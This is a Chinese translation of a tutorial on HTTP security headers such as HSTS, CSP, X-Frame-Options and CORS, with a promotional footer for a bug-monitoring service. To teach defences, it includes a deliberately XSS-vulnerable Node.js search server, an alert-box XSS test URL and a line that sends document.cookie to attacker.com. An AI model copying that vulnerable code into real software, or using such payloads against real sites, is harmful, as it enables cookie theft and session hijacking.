使用這些 HTTP 頭保護 Web 應用

摘要： 安全是個大學問。

• 原文：Web 應用安全性: 使用這些 HTTP 頭保護 Web 應用
• 作者：前端小智

Fundebug經授權轉載，版權歸原作者所有。

這是關於web安全性系列文章的第 三 篇，其它的可點選以下檢視：

• Web 應用安全性: 瀏覽器是如何工作的
• Web 應用安全性: HTTP簡介

目前，瀏覽器已經實現了大量與安全相關的標頭檔案，使攻擊者更難利用漏洞。接下來的講解它們的使用方式、它們防止的攻擊型別以及每個頭後面的一些歷史。

HTTP Strict Transport Security (HSTS)

HSTS（HTTP Strict Transport Security）國際網際網路工程組織IETF正在推行一種新的Web安全協議，HSTS 的作用是強制客戶端（如瀏覽器）使用 HTTPS 與伺服器建立連線。

自 2012 年底以來，HTTPS 無處不在的支持者發現，由於 HTTP 嚴格傳輸安全性，強制客戶端總是使用 HTTP 協議的安全版本更容易：一個非常簡單的設定 Strict-Transport-Security: max-age=3600 將告訴瀏覽器 對於下一個小時（3600秒），它不應該與具有不安全協議的應用程式進行互動。

當使用者嘗試通過 HTTP 訪問由 HSTS 保護的應用程式時，瀏覽器將拒絕繼續訪問，自動將 http:// 的 URL 轉換為 https://。

你可以使用 github.com/odino/wasec/tree/master/hsts 中的程式碼在本地測試這個。你需要遵循 README 中的說明(它們通過 mkcert 工具在你的電腦上的localhost 安裝可信的 SSL 證照)，然後嘗試開啟 https://localhost:7889。

在這個示例中有兩個伺服器，一個 HTTPS 伺服器監聽 7889，另一個 HTTP 伺服器監聽埠 7888。當你訪問 HTTPS 伺服器時，它總是試圖重定向到 HTTP 版本，這將正常工作，因為 HTTPS 伺服器上沒有 HSTS 策略。如果在 URL 中新增 hsts=on 引數，瀏覽器將強制將重定向中的連結轉換為 https:// 版本。由於 7888 上的伺服器只支援 http，所以最終將看到類似於這樣的頁面。

你可能想知道使用者第一次訪問你的網站時會發生什麼，因為事先沒有定義 HSTS 策略：攻擊者可能會欺騙使用者訪問你網站的 http:// 版本並在那裡進行攻擊，所以仍然存在問題，因為 HSTS 是對首次使用機制的信任，它試圖做的是確保，一旦你訪問過網站，瀏覽器就知道後續互動必須使用 HTTPS。

解決這個缺點的一個方法是維護一個海量的資料庫，其中包含了執行 HSTS 的網站，這是Chrome 通過 hstspreload.org 實現的。你必須首先設定安全的方案，然後訪問網站並檢查它是否符合新增到資料庫的條件。例如，我們可以在這看到 Facebook 榜上有名。

將你的的網站提交到這個列表中，就可以提前告訴瀏覽器你的網站使用 HSTS，這樣即使客戶端和伺服器之間的第一次互動也將通過一個安全通道進行。但是這是有代價的，因為你確實需要投入到 HSTS 中。如果你希望你的網站從列表中刪除，這對瀏覽器廠商來說不是件容易的事:

請注意，預載入列表中的內容無法輕鬆撤消。

域名可以被移除，但是 Chrome 的更新需要幾個月的時間才能讓使用者看到變化，我們不能保證其他瀏覽器也一樣。不要請求包含，除非您確定能夠長期支援整個站點及其所有子域的HTTPS。

這是因為供應商不能保證所有使用者都使用最新版本的瀏覽器，而你的站點已從列表中刪除。仔細考慮，並根據你對 HSTS 的信心程度和長期支援 HSTS 的能力做出決定。

HTTP Public Key Pinning (HPKP)

HTTP 公鑰固定是一種安全機制，它的工作原理是通過響應頭或者 <meta> 標籤告訴瀏覽器當前網站的證照指紋，以及過期時間等其它資訊。未來一段時間內，瀏覽器再次訪問這個網站必須驗證證照鏈中的證照指紋，如果跟之前指定的值不匹配，即便證照本身是合法的，也必須斷開連線。

目前 Firefox 35+ 和 Chrome 38+ 已經支援， HPKP 基本格式如下：

Public-Key-Pins:
  pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";
  pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";
  max-age=3600; includeSubDomains;
  report-uri="https://pkpviolations.example.org/collect"
複製程式碼

各欄位含義如下：

• pin-sha256 即證照指紋，允許出現多次（實際上最少應該指定兩個）；
• max-age 和 includeSubdomains 分別是過期時間和是否包含子域，它們在 HSTS（HTTP Strict Transport Security）中也有，格式和含義一致；
• report-uri用來指定驗證失敗時的上報地址，格式和含義跟 CSP（Content Security Policy）中的同名欄位一致；
• includeSubdomains 和 report-uri 兩個引數均為可選；

報頭使用證照的雜湊列出伺服器將使用哪些證照(在本例中是其中的兩個證照)，幷包含附加資訊，比如這個指令的生存時間(max-age=3600)和其他一些細節。遺憾的是，我們沒有必要深入瞭解我們可以用公鑰釘固定做什麼，因為這個功能已經被 Chrome 棄用了——這是一個訊號，這一訊號表明它的採用很快就會直線下降。

Chrome 的決定並不是不理性的，而僅僅是與公鑰固定相關的風險的結果。如果wq丟失了證照，或者只是在測試時犯了一個錯誤，你的網站將無法訪問之前訪問過該網站的使用者(在max-age指令期間，通常是幾周或幾個月)。

由於這些潛在的災難性後果，HPKP 的使用率一直非常低，並且出現了由於錯誤配置導致大型網站無法訪問的事件。綜上所述，Chrome 認為沒有 HPKP提 供的保護，使用者會過得更好——安全研究人員並不完全反對這一決定。

Expect-CT

雖然 HPKP 已經被棄用，但是一個新的頭介入進來，防止欺騙 SSL 證照被提供給客戶端:Expect-CT。

Expect-CT 頭允許站點選擇性報告和/或執行證照透明度 (Certificate Transparency) 要求，來防止錯誤簽發的網站證照的使用不被察覺。當站點啟用 Expect-CT 頭，就是在請求瀏覽器檢查該網站的任何證照是否出現在公共證照透明度日誌之中。

CT 基本格式如下：

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"
複製程式碼

max-age：

該指令指定接收到 Expect-CT 頭後的秒數，在此期間使用者代理應將收到訊息的主機視為已知的 Expect-CT 主機。

如果快取接收到的值大於它可以表示的值，或者如果其隨後計算溢位，則快取將認為該值為2147483648（2的31次冪）或其可以方便表示的最大正整數。

report-uri="" 可選

該指令指定使用者代理應向其報告 Expect-CT 失效的 URI。

當 enforce 指令和 report-uri 指令共同存在時，這種配置被稱為“強制執行和報告”配置，示意使用者代理既應該強制遵守證照透明度政策，也應當報告違規行為。

enforce 可選

該指令示意使用者代理應強制遵守證照透明度政策（而不是隻報告合規性），並且使用者代理應拒絕違反證照透明度政策的之後連線。

當 enforce 指令和 report-uri 指令共同存在時，這種配置被稱為“強制執行和報告”配置，示意使用者代理既應該強制遵守證照透明度政策，也應當報告違規行為。

CT 計劃的目標是比以前使用的任何其他方法更早、更快、更精確地檢測錯誤頒發的或惡意的證照(以及流氓證照頒發機構)。

通過選擇使用 Expect-CT 頭，你可以利用這一優勢來改進應用程式的安全狀態。

X-Frame-Options

想象一下，在你的螢幕前彈出這樣一個網頁:

只要你點選這個連結，你就會發現你銀行賬戶裡的錢都不見了，發生了什麼事?

你是點選劫持攻擊的受害者。

攻擊者將你引導至他們的網站，該網站顯示了一個非常有吸引力的點選連結。 不幸的是，他還在頁面中嵌入了帶了連結地址 your-bank.com/transfer?amount=-1&[attacker@gmail.com的 iframe，且通過設定透明度為 0％來隱藏它。

然後發生的事情是想到點選原始頁面，試圖贏得一個全新的悍馬，這時瀏覽器上iframe上捕獲了一個點選，這是一個確認轉移資金的危險點選。

大多數銀行系統要求你指定一次性 PIN 碼來確認交易，但你的銀行沒有趕上時間且你的所有資金都已被轉走了。

這個例子非常極端，但應該讓你瞭解點選劫持攻擊 可能帶來的後果。 使用者打算單擊特定連結，而瀏覽器將觸發嵌入 iframe中“不可見”頁面上的點選。

幸運的是，瀏覽器為這個問題提供了一個簡單的解決方案: X-Frame-Options (XFO)，它允許您人定是否可以將應用程式作為 iframe 嵌入外部網站。由於 Internet Explorer 8 的普及，XFO 於2009 年首次引入，現在仍然受到所有主流瀏覽器的支援。

它的工作原理是，當瀏覽器看到 iframe 時，載入它並在渲染它之前驗證它的 XFO 是否允許它包含在當前頁面中。

X-Frame-Options 有三個值:

• DENY：表示該頁面不允許在 frame 中展示，即便是在相同域名的頁面中巢狀也不允許。
• SAMEORIGIN：表示該頁面可以在相同域名頁面的 frame 中展示。
• ALLOW-FROM uri ：表示該頁面可以在指定來源的 frame 中展示。

換一句話說，如果設定為 DENY，不光在別人的網站 frame 嵌入時會無法載入，在同域名頁面中同樣會無法載入。另一方面，如果設定為 SAMEORIGIN，那麼頁面就可以在同域名頁面的 frame 中巢狀。

包含最嚴格的 XFO 策略的 HTTP 響應示例如下:

HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: DENY
...
複製程式碼

為了展示啟用 XFO 時瀏覽器的行為，我們只需將示例的 URL 更改為 http://localhost:7888/?xfo=on。 xfo=on 引數告訴伺服器在響應中包含 X-Frame-Options: deny，我們可以看到瀏覽器如何限制對 iframe 的訪問:

XFO被認為是防止基於框架的點選劫持攻擊的最佳方法，直到數年後出現了另一種報頭，即內容安全策略**(Content Security Policy，簡稱CSP)**。

Content Security Policy (CSP)

內容安全策略(CSP) 是一個額外的安全層，用於檢測並削弱某些特定型別的攻擊，包括跨站指令碼 (XSS) 和資料注入攻擊等。無論是資料盜取、網站內容汙染還是散發惡意軟體，這些攻擊都是主要的手段。

為使CSP可用, 你需要配置你的網路伺服器返回 Content-Security-Policy HTTP頭部 ( 有時你會看到一些關於 X-Content-Security-Policy 頭部的提法, 那是舊版本，你無須再如此指定它)。

要了解 CSP 如何幫助我們，我們首先應該考慮攻擊媒介。 假設我們剛剛構建了自己的 Google 搜尋，這是一個帶有提交按鈕的簡單輸入文字。

這個 web 應用程式沒有什麼神奇的功能。只是,

• 顯示一個表單
• 讓使用者執行搜尋
• 顯示搜尋結果和使用者搜尋的關鍵字

當我們執行簡單搜尋時，這就是應用程式返回的內容：

我們的應用程式非常理解我們的搜尋，並找到了一個相關的影象。如果我們深入研究原始碼，可以在github.com/odino/wasec… 上找到，我們很快就會發現應用程式存在安全問題，因為使用者搜尋的任何關鍵字都直接列印在提供給客戶端的 HTML 響應中:

var qs = require('querystring')
var url = require('url')
var fs = require('fs')
require('http').createServer((req, res) => {
  let query = qs.parse(url.parse(req.url).query)
  let keyword = query.search || ''
  let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...`
res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results))
}).listen(7888)
<html>
  <body>
    <h1>Search The Web</h1>
    <form>
      <input type="text" name="search" value="__KEYWORD__" />
      <input type="submit" />
    </form>
    <div id="results">
      __RESULTS__
    </div>
  </body>
</html>
複製程式碼

這帶來了一個糟糕的後果。攻擊者可以建立一個特定的連結，在受害者瀏覽器中執行任意JavaScript。

如果你有時間和耐心在本地執行示例，你將能夠快速瞭解 CSP 的強大功能。 我新增了一個啟用CSP的查詢字串引數，因此我們可以嘗試在啟用 CSP 的情況下導航到惡意 URL：

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on
複製程式碼

正如你在上面的例子中所看到的，我們已經告訴瀏覽器，我們的 CSP 策略只允許指令碼包含在當前 URL 的同一來源，我們可以通過展開 URL 和檢視響應頭來驗證:

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"

HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Security-Policy: default-src 'self'
Date: Sat, 11 Aug 2018 10:46:27 GMT
Connection: keep-alive
複製程式碼

由於 XSS 攻擊是通過內聯指令碼(直接嵌入到HTML內容中的指令碼)進行的，所以瀏覽器友好地拒絕執行它，以保證使用者的安全。想象一下，如果攻擊者不是簡單地顯示一個警告對話方塊，而是通過一些JavaScript程式碼將重定向到自己的域，程式碼可能如下:

window.location = `attacker.com/${document.cookie}`
複製程式碼

他們本來可以竊取所有使用者的 cookie，其中可能包含高度敏感的資料（下一篇文章中有更多內容）。

CSP的一個有趣的變化是 report-only 模式。可以不使用 Content-Security-Policy 標頭檔案，而是首先使用 Content-Security-Policy-Report-Only 標頭檔案測試 CSP 對你的網站的影響，方法是告訴瀏覽器簡單地報告錯誤，而不阻塞指令碼執行，等等。

通過報告，你可以瞭解要推出的 CSP 策略可能導致的重大更改，並相應地進行修復。 我們甚至可以指定報告網址，瀏覽器會向我們傳送報告。 以下是 report-only 策略的完整示例：

Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector
複製程式碼

CSP 策略本身可能有點複雜，如下例所示:

Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com
複製程式碼

本策略定義了以下規則:

• 可執行指令碼（例如JavaScript）只能從 scripts.example.com 載入
• 影象可以從任何源(img-src: *)
• 視訊或音訊內容可以從兩個來源載入: medias.example.com 和 medias.legacy.example.com

正如你所看到的，策略可能會變得很長，如果我們想確保為使用者提供最高的保護，這可能會成為一個相當乏味的過程。不過，編寫全面的 CSP 策略是向 web 應用程式新增額外安全層的重要一步。

程式碼部署後可能存在的BUG沒法實時知道，事後為了解決這些BUG，花了大量的時間進行log 除錯，這邊順便給大家推薦一個好用的BUG監控工具 Fundebug。

X-XSS-Protection

HTTP X-XSS-Protection 響應頭是Internet Explorer，Chrome和Safari的一個功能，當檢測到跨站指令碼攻擊 (XSS)時，瀏覽器將停止載入頁面。雖然這些保護在現代瀏覽器中基本上是不必要的，當網站實施一個強大的 Content-Security-Policy 來禁用內聯的 JavaScript ('unsafe-inline')時, 他們仍然可以為尚不支援 CSP 的舊版瀏覽器的使用者提供保護。

它的語法和我們剛才看到的非常相似:

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector
複製程式碼

XSS 是最常見的攻擊型別，其中未經過驗證的伺服器列印出未經過處理的輸入，而且這個標題真正發揮作用。 如果你想親眼看到這個，我建議你試試 github.com/odino/wasec… 上的例子。

將 xss=on 附加到 URL 上，它顯示了當 XSS 保護時瀏覽器做了什麼 開啟了。 如果我們在搜尋框中輸入惡意字串，例如 <script> alert（'hello'）</ script>，瀏覽器將拒絕執行指令碼，並解釋其決定背後的原因：

The XSS Auditor refused to execute a script in
'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on'
because its source code was found within the request.
The server sent an 'X-XSS-Protection' header requesting this behavior.
複製程式碼

更有趣的是，當網頁沒有指定任何 CSP 或 XSS 策略時，Chrome 的預設行為，我們可以通過將 XSS =off 引數新增到URL (http://localhost:7888/?search=%3Cscript%3Ealert%28% %27hello%27% %29%3C%2Fscript%3E&xss=off) 來測試這個場景:

令人驚訝的是，Chrome 非常謹慎，它將阻止頁面渲染，使得 XSS 的攻擊非常難以實現。

Feature policy

2018 年 7 月，安全研究員 Scott Helme 發表了一篇非常有趣的部落格文章，詳細介紹了正在開發的一個新的安全標頭: Feature-Policy。

目前只有很少的瀏覽器(在撰寫本文時是Chrome和Safari)支援這個標頭，它允許我們定義當前頁面中是否啟用了特定的瀏覽器功能。使用與 CSP 非常相似的語法，比如下面這個:

Feature-Policy: vibrate 'self'; push *; camera 'none'
複製程式碼

如果我們對此策略如何影響頁面可用的瀏覽器 API 仍有疑問，我們可以簡單地剖析它：

• vibrate 'self'：這將允許當前頁面使用vibration API 和同一源上的任何巢狀瀏覽上下文(iframe)
• push *：當前頁面和任何 iframe 都可以使用 push notification API
• camera 'none'：當前頁面和任何巢狀上下文(iframe)都拒絕訪問 camera API

feature policy 的歷史可能很短，但是搶先一步也無妨。例如，如果你的網站允許使用者自拍或錄製音訊，那麼使用限制其他上下文通過你的頁面訪問 API 的策略將非常有益。

X-Content-Type-Options

有時候，從安全的角度來看，聰明的瀏覽器功能最終會傷害我們。 一個明顯的例子是 MIME嗅探(MIME-sniffing)，這是一種由 Internet Explorer 推廣的技術。

MIME 嗅探是瀏覽器自動檢測（和修復）正在下載的資源的內容型別的能力。 例如，我們要求瀏覽器渲染圖片 /awesome-picture.png ，但伺服器在向瀏覽器提供影象時設定了錯誤的型別（例如，Content-Type：text/plain），這通常會導致瀏覽器無法正確顯示影象。

為了解決這個問題，IE 竭盡全力實現 MIME 嗅探功能：當下載資源時，瀏覽器會“掃描”它，如果它會檢測到資源的內容型別不是由在 Content-Type 標頭中的伺服器，它將忽略伺服器傳送的型別並根據瀏覽器檢測到的型別解釋資源。

現在，想象一下，託管一個網站，允許使用者上傳自己的影象，並想象使用者上傳包含 JavaScript 程式碼的 /test.jpg 檔案。 看看這是怎麼回事？ 上傳檔案後，該網站會將其包含在自己的 HTML 中，當瀏覽器嘗試渲染文件時，它會找到使用者剛剛上傳的“影象”。 當瀏覽器下載影象時，它會檢測到它是一個指令碼，並在受害者的瀏覽器上執行它。

為了避免這個問題，我們可以設定 X-Content-Type-Options:nosniheader，它完全禁用 MIME 嗅探：通過這樣做，我們告訴瀏覽器，我們完全知道某些檔案可能在型別和內容方面不匹配，瀏覽器不應該擔心這個問題。我們知道我們在做什麼，所以瀏覽器不應該試圖猜測，可能對我們的使用者構成安全威脅。

Cross-Origin Resource Sharing (CORS)

在瀏覽器上，通過 JavaScript，HTTP 請求只能在同一個源上觸發。 簡而言之，example.com 的AJAX 請求只能連線到 example.com。

這是因為你的瀏覽器包含攻擊者的有用資訊 - Cookie，通常用於跟蹤使用者的會話。 想象一下，如果攻擊者在 win-a-hummer.com 上設定惡意頁面，會立即向 your-bank.com 發出 AJAX 請求。

如果你在銀行的網站上登入，則攻擊者可以使用你的憑據執行 HTTP 請求，可能會竊取資訊，或者更糟糕的是，將你的銀行帳戶清除掉。

不過，在某些情況下可能需要執行跨域 AJAX 請求，這就是瀏覽器實現跨跨資源共享(Cross Origin Resource Sharing, CORS)的原因，這是一組允許執行跨域請求的指令。

CORS 背後的機制非常複雜，我們不可能通讀整個規範，所以我將重點介紹 CORS 的“簡化”版本。

現在，你只需要知道，通過使用 Access-Control-Allow-Origin 頭，應用程式告訴瀏覽器可以接收來自其他域的請求。

這個寬鬆的形式設定 Access-Control-Allow-Origin: *，它允許任何域訪問我們的應用程式，但是我們可以通過使用 Access-Control-Allow-Origin: https://example.com 新增我們想要列入白名單的 URL 來限制它。

如果我們看看 github.com/odino/wasec… 上的示例，我們可以清楚地看到瀏覽器如何阻止訪問單獨來源的資源。 我已經設定了一個示例，用於從 test-cors 到 test-cors-2 發出 AJAX 請求，並將操作結果列印到瀏覽器。 當 test-cors-2 後面的伺服器被指示使用 CORS 時，頁面按預期工作。 嘗試導航到 http://cors-test:7888/?cors=on

但是當我們從 UR L中刪除 cors 引數時，瀏覽器會介入並阻止我們訪問響應的內容:

我們需要理解的一個重要方面是瀏覽器執行了請求，但阻止了客戶端訪問它。 這非常重要，因為如果我們的請求會對伺服器產生任何副作用，它仍然會使我們容易受到攻擊。 想象一下，例如，如果我們的銀行允許通過簡單地呼叫 my-bank.com/transfer?amount=1000&from=me&to=attacker 來轉移資金，那將是一場災難！

正如我們在本系列第一篇講到，GET 請求應該是冪等的，但如果我們嘗試用 POST 請求會發生什麼？ 幸運的是，在示例中包含了這個場景，通過導航到 http://cors-test:7888/?method=POST:來嘗試：

瀏覽器發出**“預檢”**請求，而不是直接執行我們的 POST 請求，這可能會導致伺服器出現嚴重問題。 這只是對伺服器的 OPTIONS 請求，要求它驗證我們的來源是否被允許。 在這種情況下，伺服器沒有正面響應，因此瀏覽器停止程式，我們的 POST 請求永遠不會到達目標。

這告訴我們一些事情:

• CORS 不是一個簡單的規範，很多場景需要牢記，你可以很容易地混淆預檢請求等功能的細微差別。
• 永遠不要暴露通過 GET 改變狀態的 API。 攻擊者可以在沒有預檢請求的情況下觸發這些請求，這意味著根本沒有保護。

根據經驗，我發現自己更願意設定代理，以便將請求轉發到正確的伺服器，而不是使用 CORS。這意味著執行在 example.com 上的應用程式可以在 example.com/_proxy/other.com 設定一個代理，這樣所有位於 _proxy/other.com/*下的請求都可以代理到 other.com。

X-Permitted-Cross-Domain-Policies

與 CORS 非常相似的是，X-Permitted-Cross-Domain-Policies 針對 Adobe 產品（即Flash和Acrobat）的跨域策略。

我不會詳細介紹，因為這是一個針對非常特定用例的標頭。長話短說，Adobe 產品通過請求目標域根目錄中的 cross-domain.xml 檔案處理跨域請求，並且 X-Permitted-Cross-Domain-Policies 定義了訪問該檔案的策略。

聽起來複雜嗎?我只建議新增一個 X-Permitted-Cross-Domain-Policies: none 並忽略希望使用 Flash 跨域請求的客戶端。

Referrer-Policy

在我們職業生涯的開始，我們可能都犯了同樣的錯誤。使用 Referer 頭在我們的網站上實現安全限制。如果頭部在我們定義的白名單中包含一個特定的 URL，我們將允許使用者訪問。

Referrer-Policy 標頭檔案誕生於 2017 年初，目前受到所有主流瀏覽器的支援，它可以告訴瀏覽器，它應該只遮蔽 Referer標頭檔案中的URL，或者完全省 略URL，從而緩解這些隱私問題。

Referrer-Policy 一些最常見的值是：

• no-referrer：整個 Referer 首部會被移除。訪問來源資訊不隨著請求一起傳送。
• origin：在任何情況下，僅傳送檔案的源作為引用地址。例如 example.com/page.html 會將 example.com/ 作為引用地址。
• same-origin：對於同源的請求會傳送引用地址，但是對於非同源請求則不傳送引用地址資訊。

值得注意的是，Referrer-Policy 有很多變體(trict-origin、no-referrer-when-downgrade等等)，但是我上面提到的這些變體可能會涵蓋你的大多數用例。如果你希望更好地理解你可以使用的每一個變體，可以訪問 OWASP dedicated page 瞭解。

Origin 標頭與 Referer 非常相似，因為它是由瀏覽器在跨域請求中傳送的，以確保允許呼叫者訪問不同域上的資源。 Origin 標頭由瀏覽器控制，因此惡意使用者無法篡改它。 你可能會將其用作Web應用程式的防火牆：如果 Origin 位於我們的白名單中，請讓請求通過。

但有一點需要考慮的是，其他 HTTP 客戶端（如c URL）可以呈現自己的來源：簡單的 curl -H "Origin: example.com" api.example.com 將使所有基於源的防火牆規則效率低下...... ...... 這就是為什麼你不能依靠 Origin（或者我們剛才看到的 Referer）來構建防火牆來阻止惡意客戶端。

有狀態 HTTP：使用 cookie 管理會話

本文應該向我們介紹一些有趣的 HTTP 標頭，讓我們瞭解它們如何通過特定於協議的功能強化我們的Web 應用程式，以及主流瀏覽器的一些幫助。

在下一篇文章中，我們將深入研究HTTP協議中最容易被誤解的特性之一: cookie。

原文：Secure your web application with these HTTP headers

關於Fundebug

Fundebug專注於JavaScript、微信小程式、微信小遊戲、支付寶小程式、React Native、Node.js和Java線上應用實時BUG監控。 自從2016年雙十一正式上線，Fundebug累計處理了10億+錯誤事件，付費客戶有Google、360、金山軟體、百姓網等眾多品牌企業。歡迎大家免費試用！